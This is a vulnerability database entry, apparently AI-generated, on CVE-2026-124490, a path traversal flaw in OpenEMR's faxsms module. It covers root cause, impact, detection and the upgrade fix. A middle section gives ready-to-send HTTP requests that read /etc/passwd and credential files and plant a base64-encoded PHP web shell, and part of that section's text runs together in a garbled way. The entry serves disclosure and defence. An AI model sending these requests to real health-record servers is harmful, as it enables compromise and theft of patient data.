
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-124490 is a path traversal vulnerability (External Control of File Name or Path) in OpenEMR's oe-module-faxsms module, specifically within the RingCentral RCFaxClient::disposeDocument() method. It allows authenticated attackers with high privileges to read and write arbitrary files on the server via the unsanitized file_path parameter. All OpenEMR versions before 8.3.0 are affected; the vulnerability was published on November 8, 2026, with the original security advisory authored by researcher nglong05 and published August 18, 2026. It carries a CVSS v3.1 score of 9.1 (Critical) and a CVSS v4.0 score of 9.4 (Critical) (OpenEMR Advisory, Github Advisory).
The root cause is CWE-73 (External Control of File Name or Path) combined with CWE-434 (Unrestricted Upload of File with Dangerous Type). The vulnerable disposeDocument() method in interface/modules/custom_modules/oe-module-faxsms/src/Controller/RCFaxClient.php accepts the file_path parameter directly from user input without any path traversal sanitization or authentication enforcement within the method itself. Two exploitation paths exist: (1) action=download passes the attacker-controlled $where variable directly to readfile() via the sendFile() helper, enabling arbitrary file reads; (2) action=setup base64-decodes attacker-supplied content and writes it to the attacker-controlled $where path using file_put_contents(), enabling arbitrary file writes. This is a sibling bug to a previously patched vulnerability in EtherFaxActions::disposeDocument, which received authentication and path restriction hardening that was not applied to RCFaxClient (OpenEMR Advisory).
Successful exploitation allows an authenticated attacker to read highly sensitive server files — including database credentials, environment configuration files, cached authentication tokens, and application source code — or write arbitrary content to any path writable by the web server process. If the write primitive is used to drop a PHP web shell into a web-accessible and executable directory, the impact escalates to full remote code execution and complete system compromise. Given OpenEMR's role as an electronic health records platform in healthcare environments, exploitation could expose protected health information (PHI) and enable lateral movement to connected clinical systems (OpenEMR Advisory, Github Advisory).
A proof-of-concept exploit consisting of concrete, copy-ready HTTP GET requests is publicly available in the OpenEMR security advisory, demonstrating both the file read and file write primitives (OpenEMR Advisory). As of the time of publication, there is no evidence of active in-the-wild exploitation, and the NVD SSVC assessment confirms exploitation status as "none." The EPSS score is approximately 0.36–0.55%, placing it in the 47th percentile for exploitation probability within 30 days. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a valid authenticated backend session and the oe-module-faxsms module configured with RingCentral as the active vendor (Github Advisory).
oe-module-faxsms module enabled and RingCentral configured as the fax/SMS vendor. This can be done via Shodan, Censys, or by probing the module path /interface/modules/custom_modules/oe-module-faxsms/.App=OpenEMR; OpenEMR=<VALID_SESSION>)./etc/passwd or OpenEMR's database configuration:GET /interface/modules/custom_modules/oe-module-faxsms/index.php?type=fax&_ACTION_COMMAND=disposeDocument&action=download&file_path=/etc/passwd HTTP/1.1
Host: <target>
Cookie: App=OpenEMR; OpenEMR=<VALID_SESSION>The server responds with the raw file contents via readfile().
4. Harvest credentials: Use the file read primitive to retrieve database credentials from OpenEMR configuration files (e.g., sqlconf.php) or environment files.
5. Arbitrary file write: Base64-encode a PHP web shell payload (e.g., <?php system($_GET['cmd']); ?>) and send it to a web-accessible directory:
GET /interface/modules/custom_modules/oe-module-faxsms/index.php?type=fax&_ACTION_COMMAND=disposeDocument&action=setup&file_path=/var/www/html/openemr/shell.php&content=PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ HTTP/1.1
Host: <target>
Cookie: App=OpenEMR; OpenEMR=<VALID_SESSION>GET /openemr/shell.php?cmd=id HTTP/1.1
Host: <target>/interface/modules/custom_modules/oe-module-faxsms/index.php with parameters _ACTION_COMMAND=disposeDocument and action=download or action=setup; requests containing file_path values with absolute paths (e.g., /etc/passwd, /var/www/, ../) or base64-encoded content parameters.oe-module-faxsms module endpoint with path traversal sequences in query parameters; HTTP 200 responses to requests for sensitive system files./tmp/ or web root directories with recent timestamps and web-server ownership; files with names inconsistent with normal OpenEMR operation./bin/bash, curl, wget, python, or nc); outbound network connections from the web server to unknown external IPs.disposeDocument action outside of normal fax/SMS workflows; access to configuration files or system paths via the faxsms module endpoint.
(OpenEMR Advisory)The primary remediation is to upgrade OpenEMR to version 8.3.0 or later, which contains the patch for this vulnerability (OpenEMR Advisory). If immediate upgrade is not possible, administrators should disable the oe-module-faxsms module or restrict access to the module's endpoint via web server configuration (e.g., deny access to /interface/modules/custom_modules/oe-module-faxsms/ for non-essential users). Additionally, apply the principle of least privilege for OpenEMR user accounts, restrict administrative access to authorized personnel only, and monitor file system activity for suspicious path traversal attempts. Ensure the web server process runs with minimal filesystem permissions to limit the impact of the write primitive.
The vulnerability was reported by researcher nglong05 and published as a GitHub Security Advisory by OpenEMR maintainer bradymiller on August 18, 2026 (OpenEMR Advisory). Security news outlets including BrandDefense and ThreatAft covered the vulnerability as part of a cluster of critical OpenEMR vulnerabilities disclosed around the same period. The Mastodon account @thehackerwire also noted the disclosure. Community reaction highlighted the particular risk to healthcare environments where digital fax integration via RingCentral is a common workflow.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."